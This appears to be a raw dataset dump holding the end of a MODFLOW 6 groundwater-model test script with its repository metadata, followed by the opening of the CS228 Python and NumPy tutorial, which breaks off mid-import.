flopy.mf6.modflow.mfgwfchd.ModflowGwfchd(\n        gwf, maxbound=maxchd, stress_period_data=cd6, save_flows=False\n    )\n\n    # output control\n    oc = flopy.mf6.ModflowGwfoc(\n        gwf,\n        budget_filerecord=\"{}.cbc\".format(name),\n        head_filerecord=\"{}.hds\".format(name),\n        headprintrecord=[(\"COLUMNS\", 10, \"WIDTH\", 15, \"DIGITS\", 6, \"GENERAL\")],\n        saverecord=[(\"HEAD\", \"ALL\"), (\"BUDGET\", \"ALL\")],\n        printrecord=[(\"HEAD\", \"LAST\"), (\"BUDGET\", \"ALL\")],\n    )\n\n    return sim\n\n\n# water table recharge problem\ndef get_model(idx, dir):\n    sim = build_model(idx, dir, no_ptcrecords[idx])\n\n    # build MODFLOW-6 without no_ptc option\n    pth = os.path.join(dir, \"mf6\")\n    mc = build_model(idx, pth, None)\n\n    return sim, mc\n\n\ndef build_models():\n    for idx, dir in enumerate(exdirs):\n        sim, mc = get_model(idx, dir)\n        sim.write_simulation()\n        mc.write_simulation()\n    return\n\n\n# - No need to change any code below\ndef test_mf6model():\n    # determine if running on Travis or GitHub actions\n    is_CI = running_on_CI()\n    r_exe = None\n    if not is_CI:\n        if replace_exe is not None:\n            r_exe = replace_exe\n\n    # initialize testing framework\n    test = testing_framework()\n\n    # build the models\n    build_models()\n\n    # run the test models\n    for idx, dir in enumerate(exdirs):\n        if is_CI and not continuous_integration[idx]:\n            continue\n        yield test.run_mf6, Simulation(dir, idxsim=idx)\n\n    return\n\n\ndef main():\n    # initialize testing framework\n    test = testing_framework()\n\n    # build the models\n    build_models()\n\n    # run the test models\n    for idx, dir in enumerate(exdirs):\n        sim = Simulation(dir, idxsim=idx)\n        test.run_mf6(sim)\n\n    return\n\n\n# use python testmf6_csub_sub03.py --mf2005 mf2005devdbl\nif __name__ == \"__main__\":\n    # print message\n    print(\"standalone run of {}\".format(os.path.basename(__file__)))\n\n    # run main routine\n    main()\n", "meta": {"hexsha": "4c7042731ed85f7c314e8e20d9b2abe196558633", "size": 4869, "ext": "py", "lang": "Python", "max_stars_repo_path": "autotest/test_gwf_noptc01.py", "max_stars_repo_name": "mwtoews/modflow6", "max_stars_repo_head_hexsha": "3426f524fba90b8b6186d09272226a941b97cef7", "max_stars_repo_licenses": ["CC0-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "autotest/test_gwf_noptc01.py", "max_issues_repo_name": "mwtoews/modflow6", "max_issues_repo_head_hexsha": "3426f524fba90b8b6186d09272226a941b97cef7", "max_issues_repo_licenses": ["CC0-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "autotest/test_gwf_noptc01.py", "max_forks_repo_name": "mwtoews/modflow6", "max_forks_repo_head_hexsha": "3426f524fba90b8b6186d09272226a941b97cef7", "max_forks_repo_licenses": ["CC0-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 23.0758293839, "max_line_length": 79, "alphanum_fraction": 0.6370918053, "include": true, "reason": "import numpy", "num_tokens": 1497, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4649015713733885, "lm_q2_score": 0.13117322715829127, "lm_q1q2_score": 0.06098263942800805}}
{"text": "# To add a new cell, type '# %%'\n# To add a new markdown cell, type '# %% [markdown]'\n# %%\nfrom IPython import get_ipython\n\n# %% [markdown]\n# #CS228 Python Tutorial\n# %% [markdown]\n# Adapted by [Volodymyr Kuleshov](http://web.stanford.edu/~kuleshov/) and [Isaac Caswell](https://symsys.stanford.edu/viewing/symsysaffiliate/21335) from the `CS231n` Python tutorial by Justin Johnson (http://cs231n.github.io/python-numpy-tutorial/).\n# %% [markdown]\n# ##Introduction\n# %% [markdown]\n# Python is a great general-purpose programming language on its own, but with the help of a few popular libraries (numpy, scipy, matplotlib) it becomes a powerful environment for scientific computing.\n# \n# We expect that many of you will have some experience with Python and numpy; for the rest of you, this section will serve as a quick crash course both on the Python programming language and on the use of Python for scientific computing.\n# \n# Some of you may have previous knowledge in Matlab, in which case we also recommend the numpy for Matlab users page (https://docs.scipy.org/doc/numpy-dev/user/numpy-for-matlab-users.html).\n# %% [markdown]\n# In this tutorial, we will cover:\n# \n# * Basic Python: Basic data types (Containers, Lists, Dictionaries, Sets, Tuples), Functions, Classes\n# * Numpy: Arrays, Array indexing, Datatypes, Array math, Broadcasting\n# * Matplotlib: Plotting, Subplots, Images\n# * IPython: Creating notebooks, Typical workflows\n# %% [markdown]\n# ##Basics of Python\n# %% [markdown]\n# Python is a high-level, dynamically typed multiparadigm programming language. Python code is often said to be almost like pseudocode, since it allows you to express very powerful ideas in very few lines of code while being very readable. As an example, here is an implementation of the classic quicksort algorithm in Python:\n\n# %%\ndef quicksort(arr):\n    if len(arr) <= 1:\n        return arr\n    pivot = arr[len(arr) // 2]\n    left = [x for x in arr if x < pivot]\n    middle = [x for x in arr if x == pivot]\n    right = [x for x in arr if x > pivot]\n    return quicksort(left) + middle + quicksort(right)\n\nprint(quicksort([3,6,8,10,1,2,1]) )\n\n# %% [markdown]\n# ###Python versions\n# %% [markdown]\n# There are currently two different supported versions of Python, 2.7 and 3.4. Somewhat confusingly, Python 3.0 introduced many backwards-incompatible changes to the language, so code written for 2.7 may not work under 3.4 and vice versa. For this class all code will use Python 2.7.\n# \n# You can check your Python version at the command line by running `python --version`.\n# %% [markdown]\n# ###Basic data types\n# %% [markdown]\n# ####Numbers\n# %% [markdown]\n# Integers and floats work as you would expect from other languages:\n\n# %%\nx = 3\nprint(x, type(x))\n\n\n# %%\nprint(x + 1)   # Addition;\nprint(x - 1)   # Subtraction;\nprint(x * 2)   # Multiplication;\nprint(x ** 2)  # Exponentiation;\n\n\n# %%\nx += 1\nprint(x)  # Prints \"4\"\nx *= 2\nprint(x)  # Prints \"8\"\n\n\n# %%\ny = 2.5\nprint(type(y)) # Prints \"<type 'float'>\"\nprint(y, y + 1, y * 2, y ** 2) # Prints \"2.5 3.5 5.0 6.25\"\n\n# %% [markdown]\n# Note that unlike many languages, Python does not have unary increment (x++) or decrement (x--) operators.\n# \n# Python also has built-in types for long integers and complex numbers; you can find all of the details in the [documentation](https://docs.python.org/2/library/stdtypes.html#numeric-types-int-float-long-complex).\n# %% [markdown]\n# ####Booleans\n# %% [markdown]\n# Python implements all of the usual operators for Boolean logic, but uses English words rather than symbols (`&&`, `||`, etc.):\n\n# %%\nt, f = True, False\nprint(type(t)) # Prints \"<type 'bool'>\"\n\n# %% [markdown]\n# Now we let's look at the operations:\n\n# %%\nprint(t and f) # Logical AND;\nprint(t or f)  # Logical OR;\nprint(not t)   # Logical NOT;\nprint(t != f)  # Logical XOR;\n\n# %% [markdown]\n# ####Strings\n\n# %%\nhello = 'hello'   # String literals can use single quotes\nworld = \"world\"   # or double quotes; it does not matter.\nprint(hello, len(hello))\n\n\n# %%\nhw = hello + ' ' + world  # String concatenation\nprint(hw)                 # prints \"hello world\"\n\n\n# %%\nhw12 = '%s %s %d' % (hello, world, 12)  # sprintf style string formatting\nprint(hw12)                             # prints \"hello world 12\"\n\n# %% [markdown]\n# String objects have a bunch of useful methods; for example:\n\n# %%\ns = \"hello\"\nprint(s.capitalize())           # Capitalize a string; prints \"Hello\"\nprint(s.upper())                # Convert a string to uppercase; prints \"HELLO\"\nprint(s.rjust(7))               # Right-justify a string, padding with spaces; prints \"  hello\"\nprint(s.center(7))              # Center a string, padding with spaces; prints \" hello \"\nprint(s.replace('l', '(ell)'))  # Replace all instances of one substring with another;\n                                # prints \"he(ell)(ell)o\"\nprint('  world '.strip())       # Strip leading and trailing whitespace; prints \"world\"\n\n# %% [markdown]\n# You can find a list of all string methods in the [documentation](https://docs.python.org/2/library/stdtypes.html#string-methods).\n# %% [markdown]\n# ###Containers\n# %% [markdown]\n# Python includes several built-in container types: lists, dictionaries, sets, and tuples.\n# %% [markdown]\n# ####Lists\n# %% [markdown]\n# A list is the Python equivalent of an array, but is resizeable and can contain elements of different types:\n\n# %%\nxs = [3, 1, 2]   # Create a list\nprint(xs, xs[2])\nprint(xs[-1])     # Negative indices count from the end of the list; prints \"2\"\n\n\n# %%\nxs[2] = 'foo'    # Lists can contain elements of different types\nprint(xs)\n\n\n# %%\nxs.append('bar') # Add a new element to the end of the list\nprint(xs)\n\n\n# %%\nx = xs.pop()     # Remove and return the last element of the list\nprint(x, xs)\n\n# %% [markdown]\n# As usual, you can find all the gory details about lists in the [documentation](https://docs.python.org/2/tutorial/datastructures.html#more-on-lists).\n# %% [markdown]\n# ####Slicing\n# %% [markdown]\n# In addition to accessing list elements one at a time, Python provides concise syntax to access sublists; this is known as slicing:\n\n# %%\nnums = list(range(5))    # range is a built-in function that creates a list of integers\nprint(nums)         # Prints \"[0, 1, 2, 3, 4]\"\nprint(nums[2:4])    # Get a slice from index 2 to 4 (exclusive); prints \"[2, 3]\"\nprint(nums[2:])     # Get a slice from index 2 to the end; prints \"[2, 3, 4]\"\nprint(nums[:2])     # Get a slice from the start to index 2 (exclusive); prints \"[0, 1]\"\nprint(nums[:])      # Get a slice of the whole list; prints [\"0, 1, 2, 3, 4]\"\nprint(nums[:-1])    # Slice indices can be negative; prints [\"0, 1, 2, 3]\"\nnums[2:4] = [8, 9]  # Assign a new sublist to a slice\nprint (nums)        # Prints \"[0, 1, 8, 9, 4]\"\n\n# %% [markdown]\n# ####Loops\n# %% [markdown]\n# You can loop over the elements of a list like this:\n\n# %%\nanimals = ['cat', 'dog', 'monkey']\nfor animal in animals:\n    print(animal)\n\n# %% [markdown]\n# If you want access to the index of each element within the body of a loop, use the built-in `enumerate` function:\n\n# %%\nanimals = ['cat', 'dog', 'monkey']\nfor idx, animal in enumerate(animals):\n    print('#%d: %s' % (idx + 1, animal))\n\n# %% [markdown]\n# ####List comprehensions:\n# %% [markdown]\n# When programming, frequently we want to transform one type of data into another. As a simple example, consider the following code that computes square numbers:\n\n# %%\nnums = [0, 1, 2, 3, 4]\nsquares = []\nfor x in nums:\n    squares.append(x ** 2)\nprint(squares)\n\n# %% [markdown]\n# You can make this code simpler using a list comprehension:\n\n# %%\nnums = [0, 1, 2, 3, 4]\nsquares = [x ** 2 for x in nums]\nprint(squares)\n\n# %% [markdown]\n# List comprehensions can also contain conditions:\n\n# %%\nnums = [0, 1, 2, 3, 4]\neven_squares = [x ** 2 for x in nums if x % 2 == 0]\nprint(even_squares)\n\n# %% [markdown]\n# ####Dictionaries\n# %% [markdown]\n# A dictionary stores (key, value) pairs, similar to a `Map` in Java or an object in Javascript. You can use it like this:\n\n# %%\nd = {'cat': 'cute', 'dog': 'furry'}  # Create a new dictionary with some data\nprint(d['cat'])       # Get an entry from a dictionary; prints \"cute\"\nprint('cat' in d)     # Check if a dictionary has a given key; prints \"True\"\n\n\n# %%\nd['fish'] = 'wet'    # Set an entry in a dictionary\nprint(d['fish'])     # Prints \"wet\"\n\n\n# %%\nprint(d['monkey'])  # KeyError: 'monkey' not a key of d\n\n\n# %%\nprint(d.get('monkey', 'N/A'))  # Get an element with a default; prints \"N/A\"\nprint(d.get('fish', 'N/A'))    # Get an element with a default; prints \"wet\"\n\n\n# %%\ndel d['fish']               # Remove an element from a dictionary\nprint(d.get('fish', 'N/A')) # \"fish\" is no longer a key; prints \"N/A\"\n\n# %% [markdown]\n# You can find all you need to know about dictionaries in the [documentation](https://docs.python.org/2/library/stdtypes.html#dict).\n# %% [markdown]\n# It is easy to iterate over the keys in a dictionary:\n\n# %%\nd = {'person': 2, 'cat': 4, 'spider': 8}\nfor animal in d:\n    legs = d[animal]\n    print('A %s has %d legs' % (animal, legs))\n\n# %% [markdown]\n# If you want access to keys and their corresponding values, use the iteritems method:\n\n# %%\nd = {'person': 2, 'cat': 4, 'spider': 8}\nfor animal, legs in d.items():\n    print('A %s has %d legs' % (animal, legs))\n\n# %% [markdown]\n# Dictionary comprehensions: These are similar to list comprehensions, but allow you to easily construct dictionaries. For example:\n\n# %%\nnums = [0, 1, 2, 3, 4]\neven_num_to_square = {x: x ** 2 for x in nums if x % 2 == 0}\nprint(even_num_to_square)\n\n# %% [markdown]\n# ####Sets\n# %% [markdown]\n# A set is an unordered collection of distinct elements. As a simple example, consider the following:\n\n# %%\nanimals = {'cat', 'dog'}\nprint('cat' in animals)   # Check if an element is in a set; prints \"True\"\nprint('fish' in animals)  # prints \"False\"\n\n\n# %%\nanimals.add('fish')      # Add an element to a set\nprint('fish' in animals)\nprint(len(animals))       # Number of elements in a set;\n\n\n# %%\nanimals.add('cat')       # Adding an element that is already in the set does nothing\nprint(len(animals))       \nanimals.remove('cat')    # Remove an element from a set\nprint(len(animals))      \n\n# %% [markdown]\n# _Loops_: Iterating over a set has the same syntax as iterating over a list; however since sets are unordered, you cannot make assumptions about the order in which you visit the elements of the set:\n\n# %%\nanimals = {'cat', 'dog', 'fish'}\nfor idx, animal in enumerate(animals):\n    print('#%d: %s' % (idx + 1, animal))\n# Prints \"#1: dog\", \"#2: fish\", \"#3: cat\"\n\n# %% [markdown]\n# Set comprehensions: Like lists and dictionaries, we can easily construct sets using set comprehensions:\n\n# %%\nfrom math import sqrt\nprint({int(sqrt(x)) for x in range(30)})\n\n# %% [markdown]\n# ####Tuples\n# %% [markdown]\n# A tuple is an (immutable) ordered list of values. A tuple is in many ways similar to a list; one of the most important differences is that tuples can be used as keys in dictionaries and as elements of sets, while lists cannot. Here is a trivial example:\n\n# %%\nd = {(x, x + 1): x for x in range(10)}  # Create a dictionary with tuple keys\nt = (5, 6)       # Create a tuple\nprint(type(t))\nprint(d[t])       \nprint(d[(1, 2)])\n\n\n# %%\nt[0] = 1\n\n# %% [markdown]\n# ###Functions\n# %% [markdown]\n# Python functions are defined using the `def` keyword. For example:\n\n# %%\ndef sign(x):\n    if x > 0:\n        return 'positive'\n    elif x < 0:\n        return 'negative'\n    else:\n        return 'zero'\n\nfor x in [-1, 0, 1]:\n    print(sign(x))\n\n# %% [markdown]\n# We will often define functions to take optional keyword arguments, like this:\n\n# %%\ndef hello(name, loud=False):\n    if loud:\n        print('HELLO, %s' % name.upper())\n    else:\n        print('Hello, %s!' % name)\n\nhello('Bob')\nhello('Fred', loud=True)\n\n# %% [markdown]\n# ###Classes\n# %% [markdown]\n# The syntax for defining classes in Python is straightforward:\n\n# %%\nclass Greeter:\n\n    # Constructor\n    def __init__(self, name):\n        self.name = name  # Create an instance variable\n\n    # Instance method\n    def greet(self, loud=False):\n        if loud:\n            print('HELLO, %s!' % self.name.upper())\n        else:\n            print('Hello, %s' % self.name)\n\ng = Greeter('Fred')  # Construct an instance of the Greeter class\ng.greet()            # Call an instance method; prints \"Hello, Fred\"\ng.greet(loud=True)   # Call an instance method; prints \"HELLO, FRED!\"\n\n# %% [markdown]\n# ##Numpy\n# %% [markdown]\n# Numpy is the core library for scientific computing in Python. It provides a high-performance multidimensional array object, and tools for working with these arrays. If you are already familiar with MATLAB, you might find this [tutorial](http://wiki.scipy.org/NumPy_for_Matlab_Users) useful to get started with Numpy.\n# %% [markdown]\n# To use Numpy, we first need to import the `numpy` package:\n\n# %%\nimport numpy as np\n\n# %% [markdown]\n# ###Arrays\n# %% [markdown]\n# A numpy array is a grid of values, all of the same type, and is indexed by a tuple of nonnegative integers. The number of dimensions is the rank of the array; the shape of an array is a tuple of integers giving the size of the array along each dimension.\n# %% [markdown]\n# We can initialize numpy arrays from nested Python lists, and access elements using square brackets:\n\n# %%\na = np.array([1, 2, 3])  # Create a rank 1 array\nprint (type(a), a.shape, a[0], a[1], a[2])\na[0] = 5                 # Change an element of the array\nprint(a)                  \n\n\n# %%\nb = np.array([[1,2,3],[4,5,6]])   # Create a rank 2 array\nprint(b)\n\n\n# %%\nprint(b.shape)                   \nprint(b[0, 0], b[0, 1], b[1, 0])\n\n# %% [markdown]\n# Numpy also provides many functions to create arrays:\n\n# %%\na = np.zeros((2,2))  # Create an array of all zeros\nprint(a)\n\n\n# %%\nb = np.ones((1,2))   # Create an array of all ones\nprint(b)\n\n\n# %%\nc = np.full((2,2), 7) # Create a constant array\nprint(c)\n\n\n# %%\nd = np.eye(2)        # Create a 2x2 identity matrix\nprint(d)\n\n\n# %%\ne = np.random.random((2,2)) # Create an array filled with random values\nprint(e)\n\n# %% [markdown]\n# ###Array indexing\n# %% [markdown]\n# Numpy offers several ways to index into arrays.\n# %% [markdown]\n# Slicing: Similar to Python lists, numpy arrays can be sliced. Since arrays may be multidimensional, you must specify a slice for each dimension of the array:\n\n# %%\nimport numpy as np\n\n# Create the following rank 2 array with shape (3, 4)\n# [[ 1  2  3  4]\n#  [ 5  6  7  8]\n#  [ 9 10 11 12]]\na = np.array([[1,2,3,4], [5,6,7,8], [9,10,11,12]])\n\n# Use slicing to pull out the subarray consisting of the first 2 rows\n# and columns 1 and 2; b is the following array of shape (2, 2):\n# [[2 3]\n#  [6 7]]\nb = a[:2, 1:3]\nprint(b)\n\n# %% [markdown]\n# A slice of an array is a view into the same data, so modifying it will modify the original array.\n\n# %%\nprint(a[0, 1])\nb[0, 0] = 77    # b[0, 0] is the same piece of data as a[0, 1]\nprint(a[0, 1]) \n\n# %% [markdown]\n# You can also mix integer indexing with slice indexing. However, doing so will yield an array of lower rank than the original array. Note that this is quite different from the way that MATLAB handles array slicing:\n\n# %%\n# Create the following rank 2 array with shape (3, 4)\na = np.array([[1,2,3,4], [5,6,7,8], [9,10,11,12]])\nprint(a)\n\n# %% [markdown]\n# Two ways of accessing the data in the middle row of the array.\n# Mixing integer indexing with slices yields an array of lower rank,\n# while using only slices yields an array of the same rank as the\n# original array:\n\n# %%\nrow_r1 = a[1, :]    # Rank 1 view of the second row of a  \nrow_r2 = a[1:2, :]  # Rank 2 view of the second row of a\nrow_r3 = a[[1], :]  # Rank 2 view of the second row of a\nprint(row_r1, row_r1.shape)\nprint(row_r2, row_r2.shape)\nprint(row_r3, row_r3.shape)\n\n\n# %%\n# We can make the same distinction when accessing columns of an array:\ncol_r1 = a[:, 1]\ncol_r2 = a[:, 1:2]\ncol_r3 = a[:, [1]]\nprint(col_r1, col_r1.shape)\nprint(col_r2, col_r2.shape)\nprint(col_r3, col_r3.shape)\n\n# %% [markdown]\n# Integer array indexing: When you index into numpy arrays using slicing, the resulting array view will always be a subarray of the original array. In contrast, integer array indexing allows you to construct arbitrary arrays using the data from another array. Here is an example:\n\n# %%\na = np.array([[1,2], [3, 4], [5, 6]])\n\n# An example of integer array indexing.\n# The returned array will have shape (3,) and \nprint(a[[0, 1, 2], [0, 1, 0]])\n\n# The above example of integer array indexing is equivalent to this:\nprint(np.array([a[0, 0], a[1, 1], a[2, 0]]))\n\n\n# %%\n# When using integer array indexing, you can reuse the same\n# element from the source array:\nprint(a[[0, 0], [1, 1]])\n\n# Equivalent to the previous integer array indexing example\nprint(np.array([a[0, 1], a[0, 1]]))\n\n# %% [markdown]\n# One useful trick with integer array indexing is selecting or mutating one element from each row of a matrix:\n\n# %%\n# Create a new array from which we will select elements\na = np.array([[1,2,3], [4,5,6], [7,8,9], [10, 11, 12]])\nprint(a)\n\n\n# %%\n# Create an array of indices\nb = np.array([0, 2, 0, 1])\n\n# Select one element from each row of a using the indices in b\nprint(a[np.arange(4), b])  # Prints \"[ 1  6  7 11]\"\n\n\n# %%\n# Mutate one element from each row of a using the indices in b\na[np.arange(4), b] += 10\nprint(a)\n\n# %% [markdown]\n# Boolean array indexing: Boolean array indexing lets you pick out arbitrary elements of an array. Frequently this type of indexing is used to select the elements of an array that satisfy some condition. Here is an example:\n\n# %%\nimport numpy as np\n\na = np.array([[1,2], [3, 4], [5, 6]])\n\nbool_idx = (a > 2)  # Find the elements of a that are bigger than 2;\n                    # this returns a numpy array of Booleans of the same\n                    # shape as a, where each slot of bool_idx tells\n                    # whether that element of a is > 2.\n\nprint(bool_idx)\n\n\n# %%\n# We use boolean array indexing to construct a rank 1 array\n# consisting of the elements of a corresponding to the True values\n# of bool_idx\nprint(a[bool_idx])\n\n# We can do all of the above in a single concise statement:\nprint(a[a > 2])\n\n# %% [markdown]\n# For brevity we have left out a lot of details about numpy array indexing; if you want to know more you should read the documentation.\n# %% [markdown]\n# ###Datatypes\n# %% [markdown]\n# Every numpy array is a grid of elements of the same type. Numpy provides a large set of numeric datatypes that you can use to construct arrays. Numpy tries to guess a datatype when you create an array, but functions that construct arrays usually also include an optional argument to explicitly specify the datatype. Here is an example:\n\n# %%\nx = np.array([1, 2])  # Let numpy choose the datatype\ny = np.array([1.0, 2.0])  # Let numpy choose the datatype\nz = np.array([1, 2], dtype=np.int64)  # Force a particular datatype\n\nprint(x.dtype, y.dtype, z.dtype)\n\n# %% [markdown]\n# You can read all about numpy datatypes in the [documentation](http://docs.scipy.org/doc/numpy/reference/arrays.dtypes.html).\n# %% [markdown]\n# ###Array math\n# %% [markdown]\n# Basic mathematical functions operate elementwise on arrays, and are available both as operator overloads and as functions in the numpy module:\n\n# %%\nx = np.array([[1,2],[3,4]], dtype=np.float64)\ny = np.array([[5,6],[7,8]], dtype=np.float64)\n\n# Elementwise sum; both produce the array\nprint(x + y)\nprint(np.add(x, y))\n\n\n# %%\n# Elementwise difference; both produce the array\nprint(x - y)\nprint(np.subtract(x, y))\n\n\n# %%\n# Elementwise product; both produce the array\nprint(x * y)\nprint(np.multiply(x, y))\n\n\n# %%\n# Elementwise division; both produce the array\n# [[ 0.2         0.33333333]\n#  [ 0.42857143  0.5       ]]\nprint(x / y)\nprint(np.divide(x, y))\n\n\n# %%\n# Elementwise square root; produces the array\n# [[ 1.          1.41421356]\n#  [ 1.73205081  2.        ]]\nprint(np.sqrt(x))\n\n# %% [markdown]\n# Note that unlike MATLAB, `*` is elementwise multiplication, not matrix multiplication. We instead use the dot function to compute inner products of vectors, to multiply a vector by a matrix, and to multiply matrices. dot is available both as a function in the numpy module and as an instance method of array objects:\n\n# %%\nx = np.array([[1,2],[3,4]])\ny = np.array([[5,6],[7,8]])\n\nv = np.array([9,10])\nw = np.array([11, 12])\n\n# Inner product of vectors; both produce 219\nprint (v.dot(w))\nprint (np.dot(v, w))\n\n\n# %%\n# Matrix / vector product; both produce the rank 1 array [29 67]\nprint(x.dot(v))\nprint(np.dot(x, v))\n\n# %% [markdown]\n# In order to avoide cumbersome code, the @ operator can be used for matrix multiplication: \n\n# %%\n# Matrix / matrix product; both produce the rank 2 array\n# [[19 22]\n#  [43 50]]\nprint(x.dot(y))\nprint(np.dot(x, y))\nprint(x@y)\n\n# %% [markdown]\n# Numpy provides many useful functions for performing computations on arrays; one of the most useful is `sum`:\n\n# %%\nx = np.array([[1,2],[3,4]])\n\nprint(np.sum(x))  # Compute sum of all elements; prints \"10\"\nprint(np.sum(x, axis=0))  # Compute sum of each column; prints \"[4 6]\"\nprint(np.sum(x, axis=1))  # Compute sum of each row; prints \"[3 7]\"\n\n# %% [markdown]\n# You can find the full list of mathematical functions provided by numpy in the [documentation](http://docs.scipy.org/doc/numpy/reference/routines.math.html).\n# \n# Apart from computing mathematical functions using arrays, we frequently need to reshape or otherwise manipulate data in arrays. The simplest example of this type of operation is transposing a matrix; to transpose a matrix, simply use the T attribute of an array object:\n\n# %%\nprint(x)\nprint(x.T)\n\n\n# %%\nv = np.array([[1,2,3]])\nprint(v)\nprint(v.T)\n\n# %% [markdown]\n# ###Broadcasting\n# %% [markdown]\n# Broadcasting is a powerful mechanism that allows numpy to work with arrays of different shapes when performing arithmetic operations. Frequently we have a smaller array and a larger array, and we want to use the smaller array multiple times to perform some operation on the larger array.\n# \n# For example, suppose that we want to add a constant vector to each row of a matrix. We could do it like this:\n\n# %%\n# We will add the vector v to each row of the matrix x,\n# storing the result in the matrix y\nx = np.array([[1,2,3], [4,5,6], [7,8,9], [10, 11, 12]])\nv = np.array([1, 0, 1])\ny = np.empty_like(x)   # Create an empty matrix with the same shape as x\n\n# Add the vector v to each row of the matrix x with an explicit loop\nfor i in range(4):\n    y[i, :] = x[i, :] + v\n\nprint(y)\n\n# %% [markdown]\n# This works; however when the matrix `x` is very large, computing an explicit loop in Python could be slow. Note that adding the vector v to each row of the matrix `x` is equivalent to forming a matrix `vv` by stacking multiple copies of `v` vertically, then performing elementwise summation of `x` and `vv`. We could implement this approach like this:\n\n# %%\nvv = np.tile(v, (4, 1))  # Stack 4 copies of v on top of each other\nprint(vv)                # Prints \"[[1 0 1]\n                         #          [1 0 1]\n                         #          [1 0 1]\n                         #          [1 0 1]]\"\n\n\n# %%\ny = x + vv  # Add x and vv elementwise\nprint(y)\n\n# %% [markdown]\n# Numpy broadcasting allows us to perform this computation without actually creating multiple copies of v. Consider this version, using broadcasting:\n\n# %%\nimport numpy as np\n\n# We will add the vector v to each row of the matrix x,\n# storing the result in the matrix y\nx = np.array([[1,2,3], [4,5,6], [7,8,9], [10, 11, 12]])\nv = np.array([1, 0, 1])\ny = x + v  # Add v to each row of x using broadcasting\nprint(y)\n\n# %% [markdown]\n# The line `y = x + v` works even though `x` has shape `(4, 3)` and `v` has shape `(3,)` due to broadcasting; this line works as if v actually had shape `(4, 3)`, where each row was a copy of `v`, and the sum was performed elementwise.\n# \n# Broadcasting two arrays together follows these rules:\n# \n# 1. If the arrays do not have the same rank, prepend the shape of the lower rank array with 1s until both shapes have the same length.\n# 2. The two arrays are said to be compatible in a dimension if they have the same size in the dimension, or if one of the arrays has size 1 in that dimension.\n# 3. The arrays can be broadcast together if they are compatible in all dimensions.\n# 4. After broadcasting, each array behaves as if it had shape equal to the elementwise maximum of shapes of the two input arrays.\n# 5. In any dimension where one array had size 1 and the other array had size greater than 1, the first array behaves as if it were copied along that dimension\n# \n# If this explanation does not make sense, try reading the explanation from the [documentation](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html) or this [explanation](http://wiki.scipy.org/EricsBroadcastingDoc).\n# \n# Functions that support broadcasting are known as universal functions. You can find the list of all universal functions in the [documentation](http://docs.scipy.org/doc/numpy/reference/ufuncs.html#available-ufuncs).\n# \n# Here are some applications of broadcasting:\n\n# %%\n# Compute outer product of vectors\nv = np.array([1,2,3])  # v has shape (3,)\nw = np.array([4,5])    # w has shape (2,)\n# To compute an outer product, we first reshape v to be a column\n# vector of shape (3, 1); we can then broadcast it against w to yield\n# an output of shape (3, 2), which is the outer product of v and w:\n\nprint(np.reshape(v, (3, 1)) * w)\n\n\n# %%\n# Add a vector to each row of a matrix\nx = np.array([[1,2,3], [4,5,6]])\n# x has shape (2, 3) and v has shape (3,) so they broadcast to (2, 3),\n# giving the following matrix:\n\nprint(x + v)\n\n\n# %%\n# Add a vector to each column of a matrix\n# x has shape (2, 3) and w has shape (2,).\n# If we transpose x then it has shape (3, 2) and can be broadcast\n# against w to yield a result of shape (3, 2); transposing this result\n# yields the final result of shape (2, 3) which is the matrix x with\n# the vector w added to each column. Gives the following matrix:\n\nprint((x.T + w).T)\n\n\n# %%\n# Another solution is to reshape w to be a row vector of shape (2, 1);\n# we can then broadcast it directly against x to produce the same\n# output.\nprint(x + np.reshape(w, (2, 1) ) )\n\n\n# %%\n# Multiply a matrix by a constant:\n# x has shape (2, 3). Numpy treats scalars as arrays of shape ();\n# these can be broadcast together to shape (2, 3), producing the\n# following array:\nprint(x * 2)\n\n# %% [markdown]\n# Broadcasting typically makes your code more concise and faster, so you should strive to use it where possible.\n# %% [markdown]\n# This brief overview has touched on many of the important things that you need to know about numpy, but is far from complete. Check out the [numpy reference](http://docs.scipy.org/doc/numpy/reference/) to find out much more about numpy.\n\n# %%\n##SciPy\n\n# %% [markdown]\n# Numpy provides a high-performance multidimensional array and basic tools to compute with and manipulate these arrays. SciPy builds on this, and provides a large number of functions that operate on numpy arrays and are useful for different types of scientific and engineering applications.\n# \n# The best way to get familiar with SciPy is to browse the documentation. We will highlight some parts of SciPy that you might find useful for this class.\n# %% [markdown]\n# ###Image operations\n# %% [markdown]\n# SciPy provides some basic functions to work with images. For example, it has functions to read images from disk into numpy arrays, to write numpy arrays to disk as images, and to resize images. Here is a simple example that showcases these functions:\n\n# %%\nfrom imageio import imread, imsave # Scipy.imread    is deprecated, use imageio instead\nfrom skimage.transform import resize #Scipy.imresize is deprecated, use skimage.transform instead\n\n# Read an JPEG image into a numpy array\nimg = imread('cat.jpg')\nprint(img.dtype, img.shape)  # Prints \"uint8 (400, 248, 3)\"\n\n# We can tint the image by scaling each of the color channels\n# by a different scalar constant. The image has shape (400, 248, 3);\n# we multiply it by the array [1, 0.95, 0.9] of shape (3,);\n# numpy broadcasting means that this leaves the red channel unchanged,\n# and multiplies the green and blue channels by 0.95 and 0.9\n# respectively.\nimg_tinted = img * [1, 0.5, 0.9]\n\n# Resize the tinted image to be 300 by 300 pixels.\nimg_tinted = resize(img_tinted, (300, 300))\n\n# Write the tinted image back to disk\nimsave('cat_tinted.jpg', np.uint8(img_tinted))\n\n# %% [markdown]\n# ###Distance between points\n# %% [markdown]\n# SciPy defines some useful functions for computing distances between sets of points.\n# \n# The function scipy.spatial.distance.pdist computes the distance between all pairs of points in a given set:\n\n# %%\nimport numpy as np\nfrom scipy.spatial.distance import pdist, squareform\n\n# Create the following array where each row is a point in 2D space:\n# [[0 1]\n#  [1 0]\n#  [2 0]]\nx = np.array([[0, 1], [1, 0], [2, 0]])\nprint(x)\n\n# Compute the Euclidean distance between all rows of x.\n# d[i, j] is the Euclidean distance between x[i, :] and x[j, :],\nd = squareform(pdist(x, 'euclidean'))\nprint(d)\n\n# %% [markdown]\n# ##Matplotlib\n# %% [markdown]\n# Matplotlib is a plotting library. In this section give a brief introduction to the `matplotlib.pyplot` module, which provides a plotting system similar to that of MATLAB.\n\n# %%\nimport numpy as np\nimport 